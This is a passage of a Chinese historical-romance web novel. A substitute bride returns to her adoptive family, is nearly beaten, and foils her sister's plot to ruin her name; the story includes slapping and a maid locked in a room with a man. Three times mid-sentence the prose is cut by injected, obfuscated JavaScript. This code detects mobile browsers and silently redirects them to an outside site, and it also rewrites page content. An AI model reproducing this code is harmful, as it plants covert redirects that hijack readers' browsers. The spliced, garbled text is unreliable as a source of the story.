“好的,母亲。”温轻竹由玉露搀着上了马车,霜叶也不情愿地跟在外头。 她打开车帘,对吴雪离挥手:“外头风大,母亲快回去吧。” 吴雪离点点头,却仍注视着马车,没有离开的意思。 温轻竹竟从中体会到了一丝不曾有过的离别之意,不忍再看,合上了车帘。 马车很快动了起来。 玉露疑惑道:“姑娘,方才将军夫人给你撑场面,可你为何不要呢?” “咱也可趁此打脸侯府那些捧高踩低的,让她们长长教训。”这句话,是玉露放大了音量,迎着外头说的。 她就是要让侯夫人身边那个霜叶听见,气死她。 自从第一日来惹怒了少将军,霜叶就被牧方安排到了外院当洒扫丫头,将军府的下人们知晓了她的愚蠢行径,都很鄙夷,将脏活累活都派给她,日日不得安生。 今日回门,也是牧方特来提醒,将这丫鬟带回去,将军府容不下背主之人。霜叶倒也没说什么,收拾好包袱便过来了。经了这几日,她怕是巴不得回侯府当回骆宜秋身边的大丫鬟。 “玉露,慎言。”温轻竹在唇前竖起食指,压低了声音道,“旁人不清楚,你同我一起长大,应当也知晓,我虽不是侯府传言的身世,但至多也不过是个养女罢了。” “能离开侯府,远离那种受尽欺辱的日子已是万幸,何必再与之牵扯呢吗?” “再者,日子是自己过的,冷暖自知,人们只愿意相信自己所想的,我们又何必将现状展露在她人眼前呢?岂不是给她们增添了个茶余饭后的谈资。” “还是姑娘考虑得周全。”玉露赞同地点点头。 她看得出来,姑娘是想与侯府撇清关系的,那么也没有必要在意旁人的看法。她们想怎么议论便怎么议论吧,反正姑娘过得好就行了。 -- 马车在安定侯府门口停下。 如温轻竹所料,门口除了等候已久的李嬷嬷,并无其他人。 “姑娘,你受苦了。”温轻竹一下马车,李嬷嬷便迎了上来,浑浊的眼里满含热泪。 温轻竹扑进了李嬷嬷怀里,笑着说道:“嬷嬷,不苦的,我这不挺好的嘛。” “倒是嬷嬷,几日未见,你有没有想我呀?” 李嬷嬷见她气色不错,也被逗笑了:“当然想了,小祖宗!” “放心吧,嬷嬷,将军府一切都好,有我在,没人敢对姑娘怎样的。”玉露打包票道。 “倒忘了还有你个小鬼精!”李嬷嬷作势要打玉露,“若姑娘少了一根汗毛,唯你是问。” 玉露只管躲在温轻竹背后,朝着李嬷嬷做鬼脸。 “都到家门口了,还不进来?打打闹闹成何体统!” 侯夫人骆宜秋的声音从门后传来。 紧接着,大门被从两边打开,安定侯与侯夫人一齐走了出来。 温轻竹收敛了笑意,对二人行礼,“父亲,母亲。” “乖女儿,要回门怎么不提前说一声,也好吩咐府上准备下你爱吃的菜。”骆宜秋瞧见候在一旁的车夫,瞬间堆起笑来,极为亲昵地挽着温轻竹。 安定侯温尚达也道:“是啊,轻竹,快进来吧。” 当初收养这个女儿,不过是听闻此女能保侯府福泽绵延,长盛不衰,这么多年也只是把她扔在后院给点吃喝,并没有指望她能有多大能耐,如今代替紫衣嫁入将军府,倒是解了侯府的燃眉之急,可见她还是有些用处的,没白养这十几年。 待门一关上,隔绝了外面的视线,骆宜秋便冷漠地甩开挽着温轻竹的手,嫌弃道:“将军府就这般小家子气?连个礼都未备。得亏紫衣聪慧,没有嫁去受罪,也就你这上不得台面的,一脸穷酸样,嫁过去正好。” 霜叶在后头,正要张嘴说些什么,骆宜秋一记眼刀,她便老老实实待着,不敢再吱声。 温轻竹:“回母亲,将军府清廉朴素,自是比不得侯府。” “行了。”温尚达打断了两人的对话,“安定侯府家底殷实,又不比旁人少什么,何须如此计较。” “咱好歹也嫁了个女儿出去。”骆宜秋声音渐渐小了下去,但她的话到底是传进了众人耳中。 女儿?温轻竹嘴角凝起一丝冷笑,她何时把自己当作女儿过?将自己这假千金李代桃僵,替温紫衣成婚,恐怕还觉得是天大的恩赐呢。 而温尚达如今对此并无异议,看来已然是被这母女俩说服,默许了这件事。 “不过,你夫君怎么没一起回门呢?”骆宜秋似乎方才想起,不经意般问道。 “少将军军中事务繁忙,自是不便陪同姑娘回府。”玉露抢先答道。 骆宜秋冷哼一声,瞧着主仆俩,轻蔑道:“我问你家姑娘,何时轮到你这做丫鬟的插嘴,终究是上不得台面的!” 不过,她也从此话中明白,温轻竹并不得宠,甚至这位杀神将军也许并不待见她。如此,她心里也平衡多了。当初生怕紫衣一意孤行错失良缘,反而给那野丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好伶俐的一张嘴!”温尚达走了,骆宜秋这下更无需顾忌,瞪着温轻竹道,“好歹也是侯府养出来的姑娘,怎地教出这般没规矩的丫鬟来?出嫁几日,莫不是生了一身反骨,忘了自己的身份?” “玉露该狠狠掌嘴,而你,亦逃不掉家法!” 玉露闻言,扑通一声跪了下去,“侯夫人,都是奴婢一时失言,说错了话,要打要罚,都冲着奴婢来,姑娘身子骨弱,实在经受不住啊!” 温轻竹急忙开口道:“玉露住嘴!”这傻丫头,真是心直口快。 霜叶上前扇了玉露一巴掌,“晚了!” 而后邀功道:“侯夫人,据奴婢这几日观察,少将军的确极其不待见二姑娘,您也不必顾及将军府的面子,该好好惩戒一番,让二姑娘长长记性也好。” “算你还有点用处。” 骆宜秋最后那一丁点顾忌也消弭无踪,招了下手,便来了两个膀大腰圆的粗使婆子,一左一右架起了温轻竹。 李嬷嬷拦住去路,“休要对姑娘无理!” 而后祈求地看向骆宜秋,“侯夫人,二姑娘如今是将军府的人,再怎么说,也代表将军府的体面,倘若伤着了,即便少将军不在意,那辅国将军及其夫人那里怕是不好交代。” “李嬷嬷,看在你为侯府效力十几年的份上,我先不处置你,但你若继续胡搅蛮缠下去,她身上的伤保不齐还要再多几道。”骆宜秋此刻的眼神如同冰冷的毒舌吐出的信子,阴森森的,继续道,“伤了不让人瞧见的法子,多的是。” 李嬷嬷无力地退到一边。 而霜叶已经开始继续掌玉露的嘴,噼啪声不绝于耳,可以想见她用了多大的力度。 温轻竹不忍再听,闭了闭眼,道:“快带我去吧。”早惩戒完早解脱。 “嬷嬷,你看着点玉露,我会没事的。”她朝李嬷嬷扯了一丝微笑,随即便被两个粗使婆子架着走了。 温轻竹到了后院,被按着趴在板凳上,就看见其中一个婆子拿出两米长的板子。 “二姑娘,得罪了。” 耳边听到一阵风声,温轻竹认命地闭上眼睛,沉入黑暗的世界。 “谁给你们胆子动她的!” 预想的疼痛并没有落下来,反而听到了熟悉的男声。 8. 见面礼 温轻竹缓缓睁开眼,发现那两个要罚她的婆子,此刻正站在原地一动也不敢动,瑟缩着,脸色煞白。而究其原因,不过是她们面前正横着一把剑。 “姑娘,你没事吧?”玉露冲过来,扶起了温轻竹,她脸上是红彤彤的巴掌印,眼泪还在止不住地往下掉。 温轻竹起身,摇了摇头,“我没事,倒是你,竟被伤得这样重。” 转而看向一旁面色冷肃的萧丞原,有些尴尬,神色不大自然道:“少将军怎么来了?” “今日你回门,我自然是要同来。”萧丞原冷冰冰地蹦出这几个字,让人一时无法揣摩他的真实想法。 “有事耽搁,才迟了会儿,不想竟让你受罪了。” 他看向牧方,示意他收剑,而后瞪着一旁空地道:“这本是安定侯府的家务事,可这两个目无尊卑的婆子欺负到我的人头上,就是辱了将军府的颜面……” 匆匆赶来的骆宜秋自是小心赔着笑:“此事原本就是一场误会,侯府御下不严,让少将军看了笑话,还险些伤了二姑娘,都是我的错,这两人任凭少将军发落。” 说完,她白了霜叶一眼,不是说少将军并不待见那丫头吗?怎地这般回护起来了?还险些酿成大错。真是成事不足,败事有余。 “有侯夫人这句话,在下就放心了。”萧丞原瞧着那两个瑟瑟发抖的婆子,冷笑道,“不是喜欢打板子吗?那就赏你们一人二十大板。” 牧方会意,叫了两个侍从过来。 “二姑娘,老奴错了,是老奴有眼不识泰山,您大人有大量,千万别计较啊!”两个婆子顿时鬼哭狼嚎起来,一个劲儿地叫着温轻竹。 她们也是这才知晓,二姑娘不再是原先侯府那个人人都能踩一脚的小丫头了。只怪她们习惯了作威作福,侯夫人一声令下,没过脑子就动了起来,这下算是搬起石头砸了自己的脚。 温轻竹漠然看着她们被强行带走,“你们何错之有?” 二人俱是一愣。 “你们只是听从母亲的吩咐罢了。”温轻竹接道。 眼见那杀神将军冷厉的眼神瞪了过来,似要割伤她的脸一般,骆宜秋连忙慌乱摆手:“没有,没有,少将军,定是她们会错了意,我原是让他们带轻竹回房安顿,好生伺候着。” “是吧?轻竹。” 她的眼中除了乞求,还有隐隐的威胁之意。 想到李嬷嬷,温轻竹配合得点了点头:“母亲说的没错,是轻竹想岔了。” 萧丞原冷哼了声,本以为是帮了她一次,没想到她却似乎并不领情,算他多管闲事。 今日他本不欲来安定侯府的,此前审问细作并不顺利,没有撬出什么有价值的东西,反而让那细作趁机咬破牙齿下面的毒药自尽了。这样一来,他更没有心情过来了。还是牧方催了好几遍,他才决定来看看的。 不成想,一来便看到自己那名义上的夫人正被人欺辱。这也使得一个萦绕心间的谜团解开了,他总算知道,为何第一次从母亲口中听到温轻竹这个名字时,会感到陌生了。 她并不是传闻中备受安定侯宠爱的那个女儿。 也难怪,安定侯怎么舍得把最宠爱的女儿嫁进将军府呢? “不过,”温轻竹丝毫不知他的想法,话锋一转,指着玉露脸上的巴掌印,问道,“我的丫鬟并未做错什么,母亲这是何意?” “是这贱婢自作主张。”左右这霜叶已无利用价值,骆宜秋将自己撇的一干二净。 温轻竹问道:“那么,母亲可否允我教训回去?” 骆宜秋允了,“不过是个丫鬟,你是主子,你想如何便如何吧。” 如今这丫头有将军府撑腰,这点无关紧要的小要求她应下也无妨。 “好,”温轻竹对玉露道,“她怎么打你的,你就怎么打回去。” “是,姑娘。” “侯夫人,奴婢都是为了您啊。”霜叶还在挣扎,乞求骆宜秋能顾念一点主仆情分。 “住嘴,没用的东西!” 玉露没再给她说话的机会,一巴掌接一巴掌地扇了回去。清脆的巴掌声,并着不远处婆子们的惨叫声,安定侯府表面的平静被彻底打破。 萧丞原没有在此停留多久,便去书房与温尚达议事了。也不知二人谈论了什么,他回来时,肉眼可见地心情变好了许多。 温轻竹以眼神询问,而他却什么也没说。 只道:“待会儿用饭时,配合一些。” 虽然不知道他有什么打算,温轻竹还是点了点头。 -- 菜上完时,温紫衣总算姗姗来迟。 她今日打扮得格外艳丽,更是把过节才会戴的头饰嵌了满头。 看到温轻竹,似是才知晓她回门的消息,故作惊讶状,“哎呀,二妹妹今日回门,怎地不知会一声,你我姐妹二人也好早些叙叙话。” 说话间,她将这个从侯府出去的假千金从头到脚一一打量,看她穿着打扮并不奢华,当下也就放了心。 看来将军府也并没有多重视她嘛。 随即,将视线转到那身着月白长袍的男人身上,虽是穿着寻常袍衫,也难以掩盖其独有的杀伐决断,有一种致命的吸引力,令人即便知道危险,也情愿飞蛾扑火。这就是她当初仅凭画像便一眼相中的男人。她突然有些后悔让温轻竹替嫁了。 “这位便是二妹夫吧。”温紫衣捏着娇软甜腻的嗓音道,她尽量让自己看起来柔情似水。 可男人看都没看他一眼,反而皱起眉头,捂住了鼻子。 牧方道:“这位姑娘,我家少将军对香粉过敏。” “噗嗤。”玉露忍不住笑出声来。 温轻竹朝她摇了摇头,她连忙低下头,尽量不去看温紫衣,方止住了笑。 “少将军恕罪,我这就去清洗。” 温紫衣捂着脸跑了。 “小女失仪,让少将军见笑了。”温尚达老脸憋得通红,懊恼不已。 “无妨,”萧丞原并不接话茬,将银箸递与身旁的少女,“轻竹,回自己家了想吃什么便吃什么。” “嗯。”温轻竹点点头。 这是他第一次叫自己名字,温轻竹不知他想干什么,但还是决定顺着他的意思来。 可这毕竟是她第一次与安定侯及侯夫人一同用饭,满桌美食,她也不知从何处开始。 这是放在从前想都不敢想的。 “轻竹,快吃呀,都是你爱吃的。”骆宜秋假模假样地给她夹菜。 好似这桌菜真是特意为她做的一般,明明夹给她的全是温紫衣爱吃的。 甚至,连她对河鲜过敏都不知道,也一并夹给了她。 温轻竹盯着眼前堆满的一座小山,并没有动筷子。 “爹爹,娘亲,你们怎能如此偏心?”卸去水粉的温紫衣回来了,她挨着骆宜秋坐下,直盯着温轻竹面前那碗饭菜,不满地抱怨着。 骆宜秋面露尴尬道:“这不,你二妹妹好不容易回来一次,自然要照顾她一些。” “不过,娘还是最疼你的。”她也给温紫衣夹了几道菜,“这都是娘吩咐厨房特意做的,快尝尝合不合你口味。” 有意思,萧丞原默不作声看着这一家人的互动,在心里嗤笑了一声。 “食不言寝不语,吵吵闹闹成何体统!”温尚达怕萧丞原看出什么,警告地瞪了骆宜秋母女一眼,随后赔笑道,“少将军,您是客人,理应您先动筷的,招待不周之处还望海涵。” 萧丞原道:“无妨,将军府素来是长辈先动筷。” 因此,这安定侯府由骆宜秋先动筷倒也没什么,只不过她是给女儿夹菜。而恰巧,温轻竹吃不了罢了。 温尚达似乎也意识到什么,轻咳了两声,道,“大家不必拘礼,开始用饭吧。” 温轻竹看着眼前堆成的“小山”,似乎有些为难。 萧丞原朝牧方使了个眼色,后者立即心领神会道:“少将军胃口大,恐怕得再添一碗米饭。” 随即便有丫鬟为萧丞原盛了一碗米饭过来。 萧丞原将这碗饭递给温轻竹,随后将她的那碗换了过来,“你吃这碗。” 温轻竹愣了一下,说道:“好。” 她只挑着近处的几道菜,安安静静地进食。 萧丞原便将远处的几道菜挪了过来。 他挪的都是她看了好几眼,想吃却够不到的。 她眉眼弯了起来,心满意足地大快朵颐。 虽然不知道萧丞原今日怎么变了个人似的,她的心情总算是好起来了。 “不就是回个门,不知道的还以为将军府苛待二妹妹吃食呢。”温紫衣看不下去了,出言讽刺道。 她现在是真的后悔了,不是一丁点后悔,而是非常后悔。她后悔自己听信那些贵女的话,白白将这样好的一门亲事送与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一个野丫头,还想跃上枝头变凤凰,做白日梦呢!即便捡了个大便宜,嫁入将军府,但日子也未必比以前好过吧。这少将军先前那架势还唬了她一跳,以为多大能耐呢,原来啥也不是!将军府名头再是好听,也不过是个空壳子。还好她的紫衣不用嫁去受罪。 “是啊,少将军,轻竹虽已出阁,但再怎么说也是从我们侯府出去的,我这个当爹的断没有看着女儿在夫家受苦的道理,你们小两口若有什么困难只管开口。”温尚达此时仿佛真的只是一个普通的为女儿着想的父亲。 温紫衣听了这话,在一旁急得直给骆宜秋使眼色,可后者正沉浸在愉悦的情绪中,丝毫没有受到影响。她又不敢再出声惹怒父亲,只能用力咬住下唇,在想父亲也许只是表面客套一下。 “那在下便恭敬不如从命了。”萧丞原牵起温轻竹的手,道,“如侯爷所见,我与轻竹感情甚笃,所以看不得她受丁点委屈,既然侯爷有心改善将军府的窘境,自然是再好不过了。” 温尚达听完,脑子里一片混沌,他方才不过是客套一下,只是个说法罢了,哪能想到这位少将军还真是不客气呐。 不过,回想起二人在书房的对话,他到底还是将那一点情绪按捺下去了。 “说起来,今日是我们翁婿初次见面。”温尚达勉力维持着笑容,尽管泄露了一丝沮丧,露出比哭还难看的表情。 他顿了顿,道:“也该给少将军一份见面礼了,权当是为你和轻竹改善一下生活质量。” “多谢侯爷。” “多谢父亲。” 二人异口同声道。 “这是为父应该做的。”温尚达木然道,他现在浑身瘫软,有气无力地跌坐在椅子上。他都不知道自己这是怎么了,好似提线木偶一般,做了这样的决定,真想当场昏过去。 “娘,你怎么了?”温紫衣一声惊呼。 只见骆宜秋歪歪斜斜靠在椅子上,一动不动的。 有人大声叫道:“哎哟,侯夫人晕倒了!” 一片混乱中,萧丞原带着温轻竹离开了此处。 两人来到侯府一处废置的僻静角落,此处绿树葱郁,藤蔓缠绕其上,摇曳生姿,风景倒是不错。 “还满意吗?”男人问道。 “原来你是为了我……”温轻竹瞬间明白过来,但又不可置信地止住了话头。 萧丞原没有否认,“一部分原因吧。” 温轻竹迟疑道:“可他们毕竟是我父母啊,这样做会不会不太好?” 她想试探萧丞原对安定侯及侯夫人的看法。 萧丞原道:“你不是亲生的吧。” 完了,这么快就被揭穿了。温轻竹闭了闭眼,准备豁出去了,话已经到了嗓子眼。 “不是……” 9. 陷害 “不然他们不会如此厚此薄彼。”萧丞原继续往下说,“至少侯夫人应当不是你亲娘吧,她太偏心你那个姐姐了,她眼里甚至都没有你这个女儿。” “安定侯表面看是个爱女儿的好父亲,可他不能平衡内宅,纵容她们欺负你,也不过尔尔。” “你以后还是少回侯府为好,将军府还养得起你。” 萧丞原自顾自地说出了自己的推断,这才想起什么,“对了,你刚才说不是什么?” “不是你想的那样!”面容看似镇定的少女按住怦怦直跳的心口,矢口否认,“少将军,你误会了。父亲和母亲一向待我很好,他们只是对我和大姐姐的要求不一样罢了。” 她暗暗掐了掐手心,促使自己呼吸平静下来。还好,他没有发现什么,一切都只是他的推测。 “他们毕竟是我的父母,还请少将军莫要对他们有这样大的敌意。”少女说着,声音竟有些哽咽,“倘若我真不是他们亲生的,少将军会如何?” 她想知道,如果真相曝光,他是否还会像现在这样,留有一丝情面。 “那就要看你自己了。”萧丞原贴近她耳语,灼热的气息染红了她的耳朵,丝丝麻痒通过耳朵传遍了全身。 温轻竹不适应地后退了一步,有些手足无措,她不知这是真话还是假话。若真到了那一步,他真能因自己做出什么改变吗? 正思忖着如何作答,却忽然听见一道女声高喊着: “温轻竹,你知不知道娘亲旧疾复发了?都是因为你!” “找了你许久,不曾想竟溜到了此处,果真还和以前一样。” 从前,每当被府里其他姐妹或是丫鬟婆子欺负狠了,温轻竹都会一个人藏在无人在意的角落里,这么多年,已经成了习惯,每次她都能精准找出来。 温轻竹不卑不亢道:“敢问大姐姐找我有何要事?” “没事便不能找你了?”温紫衣反问,神情有些许不自然,“我来是想问你,你把少将军藏哪去了?明明他带来的人都还在,怎么单单就他不见人影。” 温轻竹瞥了眼树后的男人,只见对方摇了摇头。 她便说道:“我不知道,也许是有急事先走了吧。” 温紫衣将信将疑道:“你最好是没骗我,否则……有你受的。” 她不过是担心母亲,离开了一会,却怎么也找不到萧丞原诉衷情,真是太令人生气了,她好歹也是货真价实的侯府嫡女啊。 温紫衣跺跺脚,气愤地走远了,衣袖随风翻飞,从背影都能看出她心情很不好。 萧丞原从树后绕出来,注视着她的背影,说道:“你这个姐姐不是善茬,离她远点。” “安定侯府个个不是善茬,少将军为何应了这门亲事?”温轻竹忍不住问道。 她是真想知道,如若一早便知晓安定侯府一干人等的嘴脸,萧丞原还会不会同意与之结亲。 “都说了是权宜之计。”男人冷冷道。 “见面礼你父亲应当打点好了,若没什么事就回家吧。” 说完,他便长腿一抬,迈着大步往前走了。 真是不识好歹,他做这些不都是为了她出头,她刚才这语气是什么意思,是在质问他吗?而且今日他本是不打算来的,若不是牧方说要给她体面,他才不会踏入安定侯府半步。 他真是一点都看不懂她,明明在侯府过得这么憋屈,话里话外却还要这么回护他们。 温轻竹不明所以,小跑着跟了几步,才后知后觉,萧丞原好像生气了。 他到底在气什么呢?她一点也想不通。 不过,如今侯府乱成一锅粥了,唯有跟着他方为上策。 另外,她有点好奇,温紫衣为何要寻他?当初还是她非要自己替嫁的,这会儿怎的对萧丞原如此上心。 “哎,少将军,你等等我!” 不知不觉中,两人已经拉开好大一截距离,温轻竹只得出声喊他。 -- 温轻竹回到前厅时,一个人影都没有,方才只在她前面几步的萧丞原,也不见了踪影。 此处安静得可怕,总让她想起以前被关进密闭黑暗的屋子里那种窒息感,她有种不祥的预感,肯定要出事了。 温轻竹不敢过多停留,趁着没人发现,果断地退了出去。 忽然听到脚步声由远及近传来,她连忙隐匿身形,躲在一跟红漆柱子后面。 “快进去藏好,二姑娘马上就过来了。” 只见温紫衣身边的寒青,领着个仆从装扮的男人过来了。 那人还在犹豫不决,“这……这能行吗?” “你放心,咱们这位二姑娘不过是一株无根浮萍,万一有个三长两短,也是她福薄。一会人来了,你快进去藏好,大姑娘说了,事成之后三倍银钱。” 那人咬咬牙,最终还是走进了房间。寒青谨慎地环视周围,没有发现异样,连忙关上房门离去。 不多时,玉露随着寒青一起来了。 玉露焦急道:“说吧,你到底在卖什么关子,我家姑娘呢?” “我的好姐姐,这可急不得。”寒青凑近玉露,故弄玄虚道,“等会儿你就知道了,侯夫人命我来正是有要紧事要办,这需得我亲自与二姑娘说才好。” “你最好不是在胡说八道!”玉露神情焦灼,“我现在只想找到姑娘。” 她潜意识觉得寒青没安好心,可如今少将军也不知道去哪了,她只能先应下,等找到姑娘后再商议对策。 寒青又道:“那是自然,二姑娘已经嫁去将军府了,我哪欺瞒二姑娘,我来是真的有事!” 玉露将信将疑,思索了一下,说道:“就算是,可我又不知道姑娘在哪。” “方才大姑娘已经拦下了少将军,你只管去那边找。”寒青说着,指了个方向,露出不怀好意的笑,“她应该很快就来了,找到二姑娘,你的疑惑自然而然就解开了。” 玉露不疑有他,焦急不安之下,压根没有注意寒青的小动作。 看出玉露寻主心切,寒青又故意瞥了眼身后的房间,示意前者,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041527|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都看过了,此间安静,不会有人来打扰,你去把二姑娘请来,我亲自告诉她。” 玉露闻言,神色匆忙地小跑了过去。 而寒青站在原地,望着玉露小跑的背影,嘴角上扬,勾起一抹嘲讽。 温轻竹了然,很明显,她在以自己作铒撒谎骗玉露,目的是要自己身败名裂,而这歹毒的计策是谁授意的不言而喻。 那么,萧丞原此刻多半已经被温紫衣缠上了,一时半会儿脱不了身,如今她只能靠自己了。 她默默回忆了一遍今日回门发生的种种,只得在心里重重叹了口气,安定侯府这么费尽心思对付她一个已出阁的养女,她可真是命苦啊! 温轻竹捏紧了手心,自己躲在一边自然可以安然无恙,可若玉露那个冒失的丫头去而复返,恐怕也会遭殃,到时亦可将污名扣到自己头上。为今之计,只有先发制人。 她往四处瞧了瞧,刚好不远处有块砖头,大概是下人还未及时清理的,于是便缓慢移动过去,弯腰捡起了那块砖头。 寒青丝毫没有察觉什么动静,转了个身,双手交握着,自言自语道,“玉露那个蠢丫头,几句话就把她骗到了,即将大功告成,我得先把这个好消息告诉大姑娘。” 说着,她往前走了几步。 温轻竹绕到她身后,找准时机,将砖头重重拍到她背上。 而后,她打开那间房门,将晕倒的寒青拖了进去。 “二姑娘来了吗?”里面的男人循声问道,声音有点兴奋,同时夹杂着急切。 温轻竹听见脚步声近了,连忙压低声音回道:“嗯,来了。” 趁着男人还没有过来,她将寒青放在地上,就退了出去,以最快的速度锁上了门。 很快,男人吃惊的声音传出来:“靠,怎么是这小娘们?” “大姑娘说了,寒青办事不力,任你处置。” 对不住了,为了自保,她只能如此。 玉露果然去而复返,原本还有些郁闷的神情,在看到温轻竹的那一刻,果然一扫而光,“姑娘,原来你在这里!” 随即四处看了看,狐疑道:“诶,寒青呢?刚还在这儿的。” “她也许有事先走了吧。”温轻竹拉着玉露走远了些,又道,“她刚才可与你说了什么?” “没说什么,铁定没安好心。”玉露见自家姑娘没事,便把寒青的话抛去九霄云外了。 经过这一遭,再联想今日回侯府的经历,动动脑子也就知道,那寒青肚子里指定又装着什么坏水,自己刚刚也是太慌张了,险些着了她的道。 玉露心里懊恼了一下,很快转移话题:“不说这些了,姑娘,我们去找少将军吧。” “走吧。”温轻竹深深地看了她一眼,宽慰道,“不必自责了,我这不好好的嘛。” “嗯嗯,姑娘真好!”玉露点点头,很快恢复了往常活泼好动的模样。 温轻竹没有再纠结此事,当务之急是要赶紧找到萧丞原。 她有预感,温紫衣不会轻易放过自己。 10. 一出好戏 主仆二人往来时的方向走了一段距离,接近花厅时,忽然听到里面传来响动。 温轻竹示意玉露噤声,拉着她躲在葳蕤的绿植后面。 只见温紫衣正扯着萧丞原的衣袖,我见犹怜道:“少将军,你真的不相信奴家对你的一片真心吗?其实我早就对你芳心暗许了,若不是……” “够了,”萧丞原冷着脸甩开她,“如果你叫我来是为了说这些,劝你到此为止。” “我与轻竹已经成婚,望你自重些。” 先前他与温轻竹赌气,刚走出荒废的院落,就迎面碰上了温紫衣。出于礼貌,他没有立刻离开,不成想就被这女子缠上了,半晌甩不掉。 说来也奇怪,这会儿院子里寂静得可怕,连一个下人都不见,他想脱身一时竟有些困难。直觉告诉他,安定侯府此时恐怕正酝酿着一场阴谋。 “哼,少将军你以为我那妹妹是什么冰清玉洁的好姑娘吗?”温紫衣掩唇,轻蔑一笑,“恐怕此时你那位好夫人正与旁人共赴巫山呢。” “你对她做了什么?”萧丞原闻言,一把掐住温紫衣的脖子,森然杀意从眼神中渗透出来。 仿佛他眼前的已经是一个死人。 “咳咳,”温紫衣目光狰狞,癫狂道,“这门婚事……本来就该是我的,如今……咳咳……也是时候让一切……回到正轨了。” 她双手用力掰着萧丞原的手腕,“少将军,事已至此,你急也没有用了。” 萧丞原倏然放开了她,拿出帕子擦了擦手,扔在了地上,狠狠道:“你最好祈祷她没事。” 说完,他径自往外走,疾步去寻温轻竹。 他虽然打心底不愿接受这门婚事,也并未将温轻竹当作夫人,可她毕竟嫁给了自己,那么就是他的人,他有义务护好她。 “少将军……”温紫衣喘息了片刻,跟了上去。 也罢,不亲眼看到,他是不会死心的。 温紫衣把萧丞原往之前安排好的房间引去,看见紧锁的房门,她露出得意的笑容。 一瞬之后,她掩去笑容,装模作样道:“哎呀,二妹妹,你怎么如此糊涂啊,你将侯府颜面至于何地啊?” 萧丞原看到房门上的那把锁,心中升腾起一股无名之火,不知是否牵扯到旧疾,心口也在隐隐作痛。 他握紧了拳头,铁青着脸,立在门口,怒道:“把门打开!” “少将军,钥匙不在我这。” “我来。”萧丞原作势要一脚踹开房门。 温紫衣却张开双臂拦住了他:“女子名节最为重要,少将军不为二妹妹着想,我这个做姐姐的却是会心疼的。” 萧丞原顿在原地,催促道:“还不快去拿钥匙?” 温紫衣自然应声离开了。 “少将军,我在这。”温轻竹从一旁的柱子后绕了出来。 “你没事?!”萧丞原又惊又喜地握住了她的手。 “我没事,”温轻竹吃痛地叫了一声,“少将军,你可否松下手?” 男人飞快地松开手,眼睛瞥向别处,“哦,抱歉。” 他没有想到自己竟控制不住地做出了这个举动,不过看她安然无恙也就放心了,积郁在胸腔的那缕浊气转瞬便消散无踪。 “这是怎么回事?”他疑惑地问道。 温轻竹微笑道:“少将军这是在关心我吗?” 他总是冷冰冰的,脸上鲜少显露情绪,她就想逗一逗他。 “我只是不想父亲和母亲担心罢了。”萧丞原摸了摸鼻子道。 温轻竹正想继续说些什么,忽然听到一群人的脚步声在逼近,连忙拉着萧丞原藏了起来。 “快,就在这边!”为首的正是温紫衣。 她身后跟着的是温尚达及骆宜秋,还有侯府一众人等,牧方和其余随从也在其中,每个人的脸上都写满了自己的心思。温尚达和骆宜秋满脸的怒气,而牧方等人则是冷着一张脸,剩余的侯府中人个个是幸灾乐祸的表情。 “我就知道,她不把这事闹大不罢休。”温轻竹小声道。 萧丞原见她一副“果然如此”的表情,问道:“那你何不在此时现身以证清白?” “不急,且再让她得意一时。” 两人正说着,众人已经在那间房前喧闹了起来。 “二姑娘真是不知羞耻,大白天的在侯府就干起了这种勾当!” “是啊,得了那么好的婚事还不知足!” “哎,要我说这都是命!原本就是大姑娘的婚事,不知怎地换给了二姑娘,可没想到她竟如此不懂得珍惜,若是早知如此,还不如大姑娘自己嫁了呢。” “可不是嘛,如今出了这等丑事,想必只能是大姑娘自己再嫁去将军府了。” 听着下人的这些言论,温轻竹不自觉捏紧了衣袖,她想过替嫁之事会败露,只是没想到这么快就暴露在萧丞原面前。 她看了眼萧丞原,忐忑道:“少将军,侯府下人向来难以管教,喜欢在背后乱编排,这些都是他们乱说的。” “我自是相信夫人的。”萧丞原面上没有什么变化。 温轻竹这才长舒了一口气。 一片喧哗声中,温尚达命人打开了门锁,大声吼道:“逆女!还不速速滚出来!” “侯爷,侯爷饶命啊!” 床上衣衫不整的男女一边遮掩着自己,一边跪下求饶。 “怎么是你?”温紫衣睁大了双眼,震惊地发现,床上的女子竟是自己贴身丫鬟寒青。 “呜呜呜,我也不知道,姑娘,求您救救我吧!” 一时场面凌乱不堪。 “真是一出好戏啊!”萧丞原走了出来,一边鼓掌一边说道。 而温轻竹完好无损地立在他身侧。 温紫衣上前,抓住她的衣领质问道:“你怎么可能没事?” “为何大姐姐如此认定做出这等伤风败俗之事的人是我?”温轻竹毫不畏惧地回视她,不紧不慢地问道,“还是说,这本就是大姐姐针对我设的局?” “你在胡说什么,我怎么可能害你?”温紫衣猛然松手,明显慌了神,又看向一边的萧丞原,“少将军,我一直与你待在一起,怎么会害二妹妹呢?” “简直荒唐!”事到如今,温尚达还有什么不明白的,他气得面色铁青,看看面无血色的骆宜秋,又指着温紫衣,道:“看看你教出来的好女儿,实在是恬不知耻,将侯府的名声败得一塌糊涂!” “还不把这丢人现眼的东西带回去关起来!” “是,侯爷。”此时的骆宜秋再不敢多言,强行拉着温紫衣走了。 处理完这桩闹剧,温尚达勉力支撑着一丝体面,对温轻竹及萧丞原道:“今日之事,属实是紫衣无知,给你们惹了麻烦,往后我一定严加管束,不让她再出来丢人现眼。” “父亲能说到做到便好,此事不用与我们交代。”温轻竹淡淡道。 她才不会相信,她这位便宜父亲会一直关着温紫衣,只要她们母女俩三天两头去他面前滴几滴眼泪,保准三五天就放出来了。 